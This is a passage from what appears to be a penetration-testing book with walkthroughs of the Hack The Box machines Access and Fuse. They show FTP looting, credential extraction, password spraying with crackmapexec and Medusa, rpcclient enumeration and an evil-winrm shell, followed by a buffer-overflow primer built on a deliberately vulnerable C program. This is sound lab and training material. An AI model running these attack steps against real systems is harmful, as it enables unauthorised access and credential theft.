"Access Control.zip".

To download everything to our machine, we can use wget from our local machine:
hide01.ir
1 ┌─[rin@parrot]─[~/boxes/Access/FTP]
2 └──╼ $wget -r --no-passive-ftp ftp://anonymous:[email protected]
3 --2021-02-28 14:58:13-- ftp://anonymous:*password*@access.htb/
4 => ‘access.htb/.listing’
5 Resolving access.htb (access.htb)... 10.129.105.84
6 Connecting to access.htb (access.htb)|10.129.105.84|:21... connected.
7 Logging in as anonymous ... Logged in!
8 <SNIP>

The -r flag tells wget to do a recursive fetch which goes into every directory and fetches the
contents. The --no-passive-ftp flag tells wget not to try and download files using passive
mode. If you try and run the command without the --no-passive-ftp flag, wget will try and
establish passive mode and fail, aborting the command.

Once the command completes, you will have the following on your local disk:

1 ┌─[rin@parrot]─[~/boxes/Access/FTP]
2 └──╼ $tree access.htb
3 access.htb
4 ├── Backups
5 │ └── backup.mdb
6 └── Engineer
7 └── Access Control.zip
8 2 directories, 2 files

If you try and unzip Access Control.zip, it will give an error saying that it can't unzip because
the zip file uses "unsupported compression method 99" which means that it was zipped
using 7-Zip. If you try 7z on it, you will be prompted for a password. So leaving that for the
moment, you can explore the access database backup using mdbtools.

mdbtools can be installed with:

sudo apt install mdbtools

Create a directory called tables and move backup.mdb into it then run:
hide01.ir
for I in $(mdb-tables backup.mdb);do mdb-export backup.mdb $i > $i;done

This script will get each table name and then export the contents of the table, saving it to a
file named using the table name. Most of the tables are empty and you can sort the files by
line count using:

wc -l * | sort -n

On looking at the files with more than 2 lines, you will notice a table called auth_user:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Access/tables]
2 └──╼ $cat auth_user
3 id,username,password,Status,last_login,RoleID,Remark
4 25,"admin","admin",1,"08/23/18 21:11:47",26,
5 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
6 28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

The first thing to try is the engineer password on the zip file:

1 ┌─[rin@parrot]─[~/boxes/Access/access.htb/Engineer]
2 └──╼ $7z x 'Access Control.zip'
3 7-Zip [64] 16.02 : Copyright I 1999-2016 Igor Pavlov : 2016-05-21
4 p7zip Version 16.02 (locale=en_AU.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CP
5 Scanning the drive for archives:
6 1 file, 10870 bytes (11 KiB)
7 Extracting archive: Access Control.zip
8 --
9 Path = Access Control.zip
10 Type = zip
11 Physical Size = 10870
12 Enter password (will not be echoed):
13 Everything is Ok
14 Size: 271360
15 Compressed: 10870
hide01.ir
The pst file is a Microsoft Outlook email file that can be read using the program "readpst".
Running this on "Access Control.pst" will extract an mbox file. With cat, the contents reveal
an email that is in the "Deleted Items" folder. This email is from [email protected] to
[email protected] saying that:

The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please
ensure this is passed on to your engineers.

You can then use the username security and password 4Cc3ssC0ntr0ller to telnet onto the
box:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Access]
2 └──╼ $telnet access.htb
3 Trying 10.129.45.60...
4 Connected to access.htb.
5 Escape character is '^]'.
6 Welcome to Microsoft Telnet Service
7 login: security
8 password:
9 *===============================================================
10 Microsoft Telnet Server.
11 *===============================================================
12 C:\Users\security>whoami
13 access\security
14 C:\Users\security>

It won't be long before you notice that the shell that Telnet provides is limited. The arrow
keys don't work and nor does the delete key. Output is not formatted correctly. This is a very
good example of where the shell is not a full TTY. You can improve things by running a
Nishang PowerShell reverse shell, but I will leave this here for the moment and come back
later when I discuss privilege escalation and persistence.
hide01.ir
Brute forcing remote service passwords
We have already come across some examples of brute forcing passwords (and usernames)
but we are going to go into the subject a bit more deeply here and look one tool in particular
THC Hydra to brute force a variety of remote services. First, it is worth mentioning some
background about passwords. The perceived wisdom about passwords has changed with
the main recommendation for passwords being length and not complexity (NIST SP 800-
63B (https://pages.nist.gov/800-63-3/sp800-63b.html)\). The determination was that
adding rules about specific characters and complexity only added a burden on users to
remember the password and led to behaviors where users used patterns to choose their
passwords. The advent of highly efficient offline password hashing and checking
computers along with millions of available breached passwords has led to the increased
possibility of a password being brute forced.

Password hashing depends on the use of a mathematical function that is called a one-way
function. It is easy to calculate the hash of a piece of plain text but almost impossible to
generate the text from the hash. Hashes are also of fixed length, so no matter how long the
piece of text being hashed, the hash itself is always the same length. In the case of the
SHA-512 hashing algorithm commonly used on modern Linux-based systems, the output is
64 bytes long. If the only thing that was done with a password was to take the plain text
and hash it, it would not be very secure. This is because it would be possible to use tables
of pre-computed hashes, called rainbow tables) for millions of common passwords and
compare them to the hash to get a match. That process would be very fast. Even without
the rainbow tables, doing a brute force on a dictionary of words by hashing each word and
comparing it with the hash we want to crack would also be very fast, especially on modern
computers with Graphical Processing Units (GPUs).

To prevent these types of attacks, password hashing uses a salt, a piece of random text
that is up to 16 characters long (for the SHA-512 hashing algorithm) and adds that to the
password and hashes that. However, it doesn't just do this one, it does it a minimum of
1,000 times taking the product of each round and adding it back in a variety of ways. The
aim of this process is to make the calculation of hashes computationally expensive i.e. to
slow it down.

Of course, not all password hashes are generated in this way and despite the improvements
in hashing algorithms, it is still possible to brute force passwords if they are short and are a
common dictionary word.
hide01.ir
There are two main ways of brute forcing a password: online and offline. We have
encountered methods for both already but let's start with offline cracking. Obtaining
password hashes is only the beginning of the process of being able to crack them. We first
have to identify what type of hash we are dealing with. The password cracking software
hashcat has a flag that will show example hashes for all of the different hashing modes.
To list all of the modes of hashing that hashcat supports, you can use the --help flag

1 ┌─[rin@parrot]─[~/book]
2 └──╼ $hashcat --help
3 …
4 - [ Hash modes ] -
5 # | Name | Category
6 ======+=====================+======================================
7 900 | MD4 | Raw Hash
8 0 | MD5 | Raw Hash
9 100 | SHA1 | Raw Hash
10 1300 | SHA2-224 | Raw Hash
11 1400 | SHA2-256 | Raw Hash
12 10800 | SHA2-384 | Raw Hash
13 1700 | SHA2-512 | Raw Hash
14 17300 | SHA3-224 | Raw Hash
15 17400 | SHA3-256 | Raw Hash
16 17500 | SHA3-384 | Raw Hash
17 17600 | SHA3-512 | Raw Hash
18 6000 | RIPEMD-160 | Raw Hash
19 600 | BLAKE2b-512 | Raw Hash
20 …

For each of these modes, we can show an example of the hash by using --example-hashes

1 ┌─[rin@parrot]─[~/boxes]
2 └──╼ $hashcat -m 1800 --example-hashes
3 hashcat (v6.1.1) starting...
4 MODE: 1800
5 TYPE: sha512crypt $6$, SHA512 (Unix)
6 HASH: $6$72820166$U4DVzpcYxgw7MVVDGGvB2/H5lRistD5.Ah4upwENR5UtffLR4X4SxSzf
7 PASS: hashcat
hide01.ir
Password cracking can operate in a number of different ways. The first and most basic is
to simply try every character combination in sequence. At the opposite end of the scale is to
use dictionaries of common passwords and/or common character combinations. As
variants of these two approaches, we can optimize the dictionaries by applying what we
know about the password syntax rules and also information we may have gathered about
the target, personal details like hobbies and interests, dates of birth, where they work etc.

In terms of password syntax, we may know what the minimum and maximum numbers of
characters are, whether there needs to be a capital letter, special characters and numbers.
Armed with this knowledge, we can simply parse dictionaries like rockyou.txt with a tool like
grep. For example, if we wanted to get words that are between 8 and 9 characters long, we
could use:

egrep '^.{8,9}$' passwords.txt

egrep is an alias for grep -E which supports extended regular expressions. Regular
expressions are a set of patterns that will match text according to certain rules. In this
expression, the ^ matches the start of a string. The . matches any character and the {8,9}
will match characters 8 or 9 times. Finally, the $ matches the end of the word. We can make
this expression exclude words that have uppercase letters in them:

egrep '^[^[:upper:]]{6,7}$' passwords.txt

The expression [[:upper:]] matches uppercase letters and the ^ within the [] means 'not'.

The approach of taking a password list and refining it certainly makes the process of
cracking faster, provided the password you are looking for is in the list. However, even
though a person may use a common password, they will often change it by altering
numbers at the end, either a sequence or referring to a specific date for example. A fan of
the French soccer team may have the password France2018 representing one of the years
that France won the FIFA World Cup.

The tool CUPP (Common User Passwords Profiler) (https://github.com/Mebus/cupp\) will


ask a series of questions about a target to create a set of possible password combinations.
Of course this relies on having access to personal information about the target such as
their family members' names, dates of birth, pet names, work and hobbies.
hide01.ir
Another approach is to crawl a company website for potential words that could be used as
a password using a tool like CeWL (Custom Word List Generator
https://digi.ninja/projects/cewl.php\). Again, this isn't sophisticated, it just takes words that
it finds and creates a password list.

Once you have a wordlist, you can use tools to take the words and create different
combinations to create a more extensive list of passwords. One of these is Mentalist (git
clone https://github.com/sc0tfree/mentalist.git\) which allows you to take a wordlist and
then apply a chain of transformations that will do things like change case, substitute
numbers for letters and other substitutions (e.g. zero instead of the letter O, 3 instead of e, 5
instead of s) and to take things like zip or postal codes and other words and prepend or
postpend them to the word. You can either use this to generate a new dictionary to use for
cracking, or create a set of rules that can be directly used by John The Ripper or Hashcat.

We will go through an example of generating a custom word list in a moment, but first we
can turn to tools for testing passwords directly with an application online. This has become
much more challenging recently with improvements in applications that will lock users out
after a small number of failed login attempts. However, it can still work where these
protections have not been applied, websites with poor security practices, services that do
not have the means for password protections of this sort and devices like the Internet of
Things where again, password protection is not implemented by default.

Online Password Brute Force

We have already seen a number of tools that can be used to test usernames and
passwords for specific remote services. The most comprehensive of these is THC Hydra
(https://github.com/vanhauser-thc/thc-hydra\) which supports more than 50 different
protocols. The basic syntax of Hydra is illustrated in the examples printed out with the use
of hydra -h

1 hydra -l user -P passlist.txt ftp://192.168.0.1


2 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
3 hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
4 hydra -l admin -p password ftp://[192.168.0.0/24]/
5 hydra -L logins.txt -P pws.txt -M targets.txt ssh
hide01.ir
The -l and -p flags expect a username and password respectively. The capital versions -L
and -P will accept files of usernames and passwords. The service is of the format:

<protocol>://<IP Address>:<Port>/<Protocol Options>

<protocol> will be the type of service such as http, smb, ftp pop3. The port can be specified
in addition to the IP address although the default port will be used if this is omitted. Finally,
there is the ability to specify particular authentication variants as part of the protocol
specification.

Medusa is another tool, like hydra, which will allow the brute forcing of a range of different
services but it has been largely unmaintained since 2015.

Metasploit also has a number of scanners for services such as FTP, SMB and SSH that will
do brute force logins as well. There are also other tools such as Crackmapexec which
supports a few protocols such as SMB, HTTP and MSSQL (Microsoft SQL Server).

As we will see however, all of these tools respond differently to different settings and
protocols and so it is possible to get both false positives and negatives. Checking with
another tool is always a good idea.
hide01.ir
Exercise: Brute forcing usernames and
passwords for remote access on Hack The
Box machine Fuse
In this exercise, we enumerate users and potential passwords from the public website of the
machine Fuse. We then use a few tools, including Kerbrute and CrackMapExec. Eventually
we get a username and password that allows us to gain remote access to the machine
using evil-winrm.

An nmap scan of the box gives us the following ports:

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $nmap -v -sC -sV -T4 --min-rate 1000 -p- fuse.htb -oA nmap/full-tcp
3 <SNIP>
4 PORT STATE SERVICE VERSION
5 53/tcp open domain Simple DNS Plus
6 80/tcp open http Microsoft IIS httpd 10.0
7 | http-methods:
8 | Supported Methods: OPTIONS TRACE GET HEAD POST
9 |_ Potentially risky methods: TRACE
10 |_http-server-header: Microsoft-IIS/10.0
11 |_http-title: Site doesn't have a title (text/html).
12 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-12-
13 135/tcp open msrpc Microsoft Windows RPC
14 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
15 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabrico
16 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
17 464/tcp open kpasswd5?
18 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
19 636/tcp open tcpwrapped
20 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabric
21 3269/tcp open tcpwrapped
22 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
23 |_http-server-header: Microsoft-HTTPAPI/2.0
24 |_http-title: Not Found
25 9389/tcp open mc-nmf .NET Message Framing
26 49666/tcp open msrpc Microsoft Windows RPC
27 49667/tcp open msrpc Microsoft Windows RPC
28 49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
29 49676/tcp open msrpc Microsoft Windows RPC
30 49679/tcp open msrpc Microsoft Windows RPC
31 49697/tcp open msrpc Microsoft Windows RPC
32
hide01.ir
49755/tcp open msrpc Microsoft Windows RPC
33 Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
34 Host script results:
35 |_clock-skew: mean: 2h55m31s, deviation: 4h37m09s, median: 15m29s
36 | smb-os-discovery:
37 | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3
38 | Computer name: Fuse
39 | NetBIOS computer name: FUSE\x00
40 | Domain name: fabricorp.local
41 | Forest name: fabricorp.local
42 | FQDN: Fuse.fabricorp.local
43 |_ System time: 2020-12-20T19:45:52-08:00
44 | smb-security-mode:
45 | account_used: <blank>
46 | authentication_level: user
47 | challenge_response: supported
48 |_ message_signing: required
49 | smb2-security-mode:
50 | 2.02:
51 |_ Message signing enabled and required
52 | smb2-time:
53 | date: 2020-12-21T03:45:51
54 |_ start_date: 2020-12-21T03:35:26

The OS discovery suggests that the box is a Windows Server 2016. The variety of ports like
DNS, LDAP and Kerberos suggest that it is an Active Directory domain controller with the
domain fabricorp.local. We can add this hostname to the /etc/hosts file. An interesting note
at this point is whether add the fabricorp.local DNS to the list of nameservers to query so
that any other subdomains would be accessible automatically. You can normally do this by
adding the entry nameserver <IP address> to the file /etc/resolv.conf. However, in this case,
the DNS returned the incorrect IP address for fabricorp.local and so this is not an option.

Going to the website, we get redirected to the URL


http://fuse.fabricorp.local/papercut/logs/html/index.htm and so we can add
fuse.fabricorp.local to the /etc/hosts file as well. This gives us a page shown in Figure 4-8.

![Graphical user interface

Description automatically generated](../.gitbook/assets/6.png)

fuse.fabricorp.local home page. A PaperCut printing administration page.


hide01.ir
The page is an instance of the PaperCut printing software printer logs. On the page, we can
see print logs for 3 specific days. Going into each entry, we find records of print jobs for a
variety of users as in the entry for the 29th May 2020 shown in Figure 4-9.

Print log for 29th May 2020

Enumerating the website it is apparent that the site is static HTML and so even if there was
a CVE related to this version of PaperCut, there would be nothing to exploit. Instead, we can
focus on the users that are listed with the print jobs:

1 pmerton
2 tlavel
3 sthompson
4 bhult
5 administrator

We can add these to a file users.txt and use a program kerbrute to check if these users exist
on the fabricorp.local domain. To get kerbrute, you can download a release from
https://github.com/ropnop/kerbrute. Running this with the users listed above, we get:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $kerbrute userenum -d fabricorp.local --dc fabricorp.local users.txt
3 __ __ __
4 / /_____ _____/ /_ _______ __/ /____
5 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
6 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
7 /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
8
hide01.ir
Version: v1.0.3 (9dad6e1) - 12/21/20 - Ronnie Flathers @ropnop
9 2020/12/21 13:58:13 > Using KDC(s):
10 2020/12/21 13:58:13 > fabricorp.local:88
11 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
12 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
13 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
14 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
15 2020/12/21 13:58:14 > [+] VALID USERNAME: [email protected]
16 2020/12/21 13:58:14 > Done! Tested 5 usernames (5 valid) in 0.389 seconds

Now that we have valid usernames, we need password candidates and a place to try them.
We are going to use CeWL to parse the website and generate a wordlist.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $cewl -d 3 -m 8 --with-numbers -w fabricorp_wordlist.txt http://fuse.
3 CeWL 5.4.8 (Inclusion) Robin Wood ([email protected]) (https://digi.ninja/)

We have specified a depth of 3 (-d 3) for the program to crawl, a minimum password length
of 8 (-m 8), we want words that contain numbers (--with-numbers) and an output file
fabricorp_wordlist.txt and the URL of the home page we want to crawl. This generates a
wordlist of the type:

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $cat fabricorp_wordlist.txt
3 PaperCut
4 GRAYSCALE
5 papercut
6 sthompson
7 LONWK019
8 Document
9 Grayscale
10 Software
11 Copyright
12 Location
13 NotepadLETTER
14 Language
15 printing
16 International
17 bnielson
18 LONWK015
19 mountain
20 Fabricorp01
hide01.ir
We can't use Hydra with this machine. It will error out when trying to brute force SMB and if
you try SMB v2, after compiling a version with this support, it will not report the specific
SMB error we are looking for. To do that, we need to use crackmapexec which illustrates
that sometimes using a range of tools is a good option. Using crackmapexec, we get an
error for the user tlavel and password Fabricorp01 that the
STATUS_PASSWORD_MUST_CHANGE.

1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $crackmapexec smb fuse.htb -u users.txt -p fabricorp_wordlist.txt
3 SMB 10.129.2.5 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:F
4 Bv1:True)
5 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\pmerton:PaperCut STATUS_LOGON_
6 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:LONWK015 STATUS_LOGON_F
7 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:mountain STATUS_LOGON_F
8 SMB 10.129.2.5 445 FUSE [-] fabricorp.local\tlavel:Fabricorp01 STATUS_PASS

An alternative to crackmapexec is medusa which can be used with the the user file (-U
users.txt), the password file (-P fabricorp_wordlist.txt) and the SMB NT module (-M smbnt).
This gives the following output:

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $medusa -h fuse.htb -U users.txt -P fabricorp_wordlist.txt -M smbnt
3 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@fo
4 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: pmerton (
5 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: pmerton (
6 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: pmerton (
7 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: pmerton (
8 …
9 ACCOUNT CHECK: [smbnt] Host: fuse.htb (1 of 1, 0 complete) User: tlavel (2
10 ACCOUNT FOUND: [smbnt] Host: fuse.htb User: tlavel Password: Fabricorp01 [
11 …

Whichever way you do it, the end result is that the password for tlavel, Fabricorp01 needs to
be reset. We can do this with smbpasswd:
hide01.ir
1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $smbpasswd -U tlavel -r fabricorp.local
3 Old SMB password:
4 New SMB password:
5 Retype new SMB password:
6 Password changed for user tlavel

If we test the new password Fabricorp02 with crackmapexec, we get:

1 ┌─[rin@parrot]─[/opt/impacket]
2 └──╼ $crackmapexec smb fuse.htb -u tlavel -p Fabricorp02
3 SMB 10.129.70.212 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (nam
4 SMB 10.129.70.212 445 FUSE [+] fabricorp.local\tlavel:Fabricorp02

The password gets reset every minute on this machine back to Fabricorp01 and so
whatever we do to test access, we need to do it straight after resetting the password. There
is also a password history kept and so each time the password is changed from
Fabricorp01, it needs to be changed to an entirely new password.

We can do that and then log into the machine using rpcclient. Interestingly, rpcclient will
also report NT_STATUS_PASSWORD_MUST_CHANGE if we use the original Fabricorp01

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $rpcclient -U tlavel fuse.htb
3 Enter WORKGROUP\tlavel's password:
4 Cannot connect to server. Error was NT_STATUS_PASSWORD_MUST_CHANGE

Using enumdomusers to enumerate the users on the box, we get an extended list of users:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $rpcclient -U tlavel fuse.htb
3 Enter WORKGROUP\tlavel's password:
4 rpcclient $> enumdomusers
5 user:[Administrator] rid:[0x1f4]
6 user:[Guest] rid:[0x1f5]
7
hide01.ir
user:[krbtgt] rid:[0x1f6]
8 user:[DefaultAccount] rid:[0x1f7]
9 user:[svc-print] rid:[0x450]
10 user:[bnielson] rid:[0x451]
11 user:[sthompson] rid:[0x641]
12 user:[tlavel] rid:[0x642]
13 user:[pmerton] rid:[0x643]
14 user:[svc-scan] rid:[0x645]
15 user:[bhult] rid:[0x1bbd]
16 user:[dandrews] rid:[0x1bbe]
17 user:[mberbatov] rid:[0x1db1]
18 user:[astein] rid:[0x1db2]
19 user:[dmuir] rid:[0x1db3]
20 rpcclient $>

We can collect all of the users and create a new users file with these users in it called
rpc_users.txt and then just extract the usernames with the command:

cat rpc_users.txt | awk -F '\\[|]' '{print $2}' > rpc_users2.txt

The awk command uses the -F flag to specify the field separator regular expression. We are
separating the text between the square bracket ([]) characters. The '\' is necessary to escape
the first [. If we try and write to the same file, it will end up blank and so that is why we need
to create a separate file.

Back on rpcclient, we can look at printers that might be shared by using the enumprinters
command. This gives output which contains a password:

1 rpcclient $> enumprinters


2 flags:[0x800000]
3 name:[\\10.129.70.212\HP-MFT01]
4 description:[\\10.129.70.212\HP-MFT01,HP Universal Printing PCL 6,Central
5 comment:[]
6 rpcclient $>

A password has been saved in the description $fab@s3Rv1ce$1 which we can test with the
users we enumerated earlier:
hide01.ir
1 ┌─[oztechmuse@parrot]─[~/boxes/Fuse]
2 └──╼ $crackmapexec smb fuse.htb -u rpc_users.txt -p '$fab@s3Rv1ce$1'
3 SMB 10.129.70.212 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (nam
4 SMB 10.129.70.212 445 FUSE [-] fabricorp.local\Administrator:$fab@s3Rv1ce$
5 SMB 10.129.70.212 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1

We get a hit with the username svc-print which we can then use to get access with evil-
wrinrm:

1 ┌─[rin@parrot]─[~/boxes/Fuse]
2 └──╼ $evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i fuse.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\svc-print\Documents>
6 The user flag is in c:\Users\svc-print\Desktop\users.txt.

We will leave this here and come back to Fuse in a subsequent chapter where we cover
further enumeration for discovery and privilege escalation. Next however we are going to
explore custom exploitation as a means of gaining initial access.
hide01.ir

Chapter 5 Initial Access: Custom Exploits


hide01.ir
Buffer overflows
Custom exploitation to gain initial access covers a wide range of vulnerability types that
can be split into infrastructure related vulnerabilities and vulnerabilities of applications,
especially web applications. We are concerned here with particular vulnerabilities that allow
for remote code execution (RCE). Of course, anything that leads to a disclosure of
credentials that could then be used with remote access technologies would fall into the
category already discussed above.

RCE vulnerabilities can occur where an application runs unchecked commands directly
using a function like PHP's exec() command. A web application might want to do this
because it is providing a systems administration function or doing something that relies on
running an external application. Although doing this should be avoided because of the
security risks involved, those risks can be mitigated through sanitization of inputs and
implementing strong access controls. This is still a problem with applications however and
so it is by no means an uncommon vulnerability.

In the previous chapter, you learned how to gain access to a machine by exploiting network
services through intended means. In this chapter, we’ll explore a custom exploitation
technique called a buffer overflow. This attack again manipulates the input to a program,
sending more data than the program was expecting and causing it to fail in a way that
allows us, as the attackers, to gain control of code execution. By crafting the input to
overflow the buffer and then have program execution return to some point in our supplied
buffer, code instructions can be sent to get the program to execute a command, including
providing a reverse shell.

How Buffer Overflows Work

Consider the simple "Hello World" program written in C

1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 int main(int argc, char **argv) {
5
hide01.ir
int numWorlds = 5;
6 int i;
7 char * helloWorld = (char*) malloc(13 * sizeof(char));
8 strcpy(helloWorld, "Hello World ");
9 for (i = 1; i <= numWorlds; i++) {
10 printf(helloWorld);
11 printf("%d \n", i);
12 }
13 free(helloWorld);
14 return 0;
15 }

In this code at numWorlds is a variable that is set to the number 5. This variable is saved in
a memory location called the "stack". At we are dynamically allocating 13 bytes of memory
using the function malloc. This memory is allocated from the program's heap memory. The
string "Hello World " is then copied into the allocated memory and this is printed out 5 times
to produce the output:

1 ┌─[✗]─[rin@parrot]─[~/develop]
2 └──╼ $gcc hello.c -o hello
3 ┌─[rin@parrot]─[~/develop]
4 └──╼ $./hello
5 Hello World 1
6 Hello World 2
7 Hello World 3
8 Hello World 4
9 Hello World 5

Figure 3-8 shows the memory layout of the application after it has been loaded to run.
Starting at the top, the stack of the program expands downwards. In the program there are
three variables that are put on the stack, the integer i, the integer numWorlds and the char
pointer helloWorld. When memory is allocated with the malloc statement, it is put on the
heap. Although there are exploits that involve heap corruption, I am going to concentrate on
the other form of exploitation which involves overflowing the stack.
hide01.ir

Process memory space layout

Stacks operate on a last-in-first-out (LIFO) basis. Memory pointers or 8 byte values are
"pushed" onto the stack and these values can only be retrieved by "popping" them off the
stack in the reverse order that they were put on. Other than function variables, there is other
information that is put on the stack when one function calls another. Before explaining this
(let us push that onto the stack for the moment - we will pop it off later), I need to also talk
about parameters are passed to functions in a 64 bit program.

When a program is compiled using a compiler like gcc, it generates machine code that will
be executed by the CPU of the computer. The machine code is organized as individual
instructions, called opcodes, that can move data in and out of memory, do comparisons,
arithmetic and many other things. To help with this, the processor uses special memory
locations called registers that can be used to store data for fast access and manipulation.
On a 64 bit Intel processor, the registers are shown in the following table.

Registers Description
hide01.ir
64-bit 32-bit 16-bit 8-bit 8-bit

RAX EAX AX AH AL Accumulator

RBX EBX BX BH BL Base

RCX ECX CX CH CL Counter

RDX EDX DX DH DL Data (commonly extends the A register)

RSI ESI SI N/A SIL Source index for string operations

RDI EDI DI N/A DIL Destination index for string operations

RSP ESP SP N/A SPL Stack Pointer

RBP EBP BP N/A BPL Base Pointer (meant for stack frames)

RIP EIP IP Instruction Pointer

R8 R8D R8W N/A R8B General purpose

R9 R9D R9W N/A R9B General purpose

R10 R10D R10W N/A R10B General purpose

R11 R11D R11W N/A R11B General purpose

R12 R12D R12W N/A R12B General purpose

R13 R13D R13W N/A R13B General purpose

R14 R14D R14W N/A R14B General purpose

R15 R15D R15W N/A R15B General purpose

86-64 registers from OS Dev.org (https://wiki.osdev.org/CPU_Registers_x86-64\)

Certain of these registers are used to point to important structures in the program like the
stack. The register rsp points to the top of the stack. As things are pushed onto the stack,
RSP (Stack Pointer) is decreased by the size of whatever has been added (remember that
the stack grows down in memory). rsp is used to add and remove things from the stack. rbp
hide01.ir
(Base Pointer) points to the bottom of the stack and is used as a reference for all of the
data stored on the stack. Pointing to a stack variable involves taking the offset of that
variable from the base pointer.

Registers are also used to carry out operations like adding two numbers. If we take the
following lines of C

1 int a = 2;
2 int b = 4;
3 int c = a + b;

This will generate the assembly

1 0x0000000000001144 <+15>: mov DWORD PTR [rbp-0x4],0x2


2 0x000000000000114b <+22>: mov DWORD PTR [rbp-0x8],0x4
3 0x0000000000001152 <+29>: mov edx,DWORD PTR [rbp-0x4]
4 0x0000000000001155 <+32>: mov eax,DWORD PTR [rbp-0x8]
5 0x0000000000001158 <+35>: add eax,edx
6 0x000000000000115a <+37>: mov DWORD PTR [rbp-0xc],eax

Running through the lines of assembly:

1. The number 2 is moved (mov instruction) to the second 4 bytes of the stack which is
the offset of the variable a.
2. The number 4 is moved to the third 4 bytes of the stack which is the offset of the
variable b.
3. The value in variable a on the stack is moved to the register edx (which is the lower 32
bits of rdx.
4. The value in variable b on the stack is moved to the register eax (which is the lower 32
bits of rax, the accumulator register which is normally used in arithmetic operations)
5. The value in the register edx is added to the value in eax
. The contents of the eax register are moved to the fourth 4 bytes of the stack which is
the offset of the variable c.
hide01.ir
This is just a brief introduction to assembly and there are many more instructions in the
entire instruction set. This also refers to Intel x86 64 bit instructions and the registers and
instructions are different for 32 bit processors and those made by other manufacturers like
ARM.

Function Calls

In C and other languages, code can be wrapped up as a function (sometimes called a sub-
routine) which can take parameters and return a value. In order for code to jump from one
place to a function, it puts the parameters that will be passed to the function into registers
rdi,rsi,rdx,rcx,r8 and r9. If there are more than 6 parameters, the remaining ones are pushed
onto the stack in reverse order. The call instruction is used to call the function and this
instruction causes the return address of the next instruction to be executed when the call
returns to be pushed onto the stack.

On entering the called function, the current base pointer in rbp is pushed onto the stack and
then the current stack pointer rsp is moved into rbp. This sequence of instructions is called
the function prologue. The function is executed and when leaving the function epilogue is
run. This involves popping rbp, resetting the rsp to point to the top of the calling stack and
then the ret instruction causes the return address to be popped and jumped to.

Buffer Overflow

Now that we have basics covered, we can turn to a buffer overflow. Here is a simple
program (in a source file bofexample.c) that is vulnerable to a buffer overflow.

1 #include <string.h>
2 #include <stdio.h>
3 #include <stdlib.h>
4
5 void overflowed(){
6 printf("*** Success! ***\n");
7 exit(0);
8 }
9
10 void function(char *str){
11
hide01.ir
char buffer[80];
12 strcpy(buffer,str);
13 }
14
15 void main(int argc, char *argv[])
16 {
17 function(argv[1]);
18 printf("XXX Try Again XXX");
19 }

In this program, the main function gets executed and is passed a single argument that can
be accessed through argv[1]. This argument is passed to the sub-routine "function" . In
function, the argument is copied to a local buffer that is only 80 char long . This is where
the buffer can be overflowed because the program has no checks for limiting the length of
the input to this string copy function. There is another function overflowed that doesn't get
called in the code of the program.

Our task is to try and get the program to execute the function overflowed. To start with we
will "fuzz" the input to explore what happens when the buffer is overflowed. To do this, we
are going to use a debugger called gdb to see what is going on internally, but we could have
used input from the command line instead.

In preparation for this, we need to do a few things. The first is to disable the protections that
are put in place to stop buffer overflows. Address Space Layout Randomization (ASLR) is a
technique used by operating systems to randomize the addresses of code in a program
either in the program itself or in libraries that might be loaded in when the program is run.
To switch this off you need to set the content of the file
/proc/sys/kernel/randomize_va_space to 0 (it will by default be set to 2).

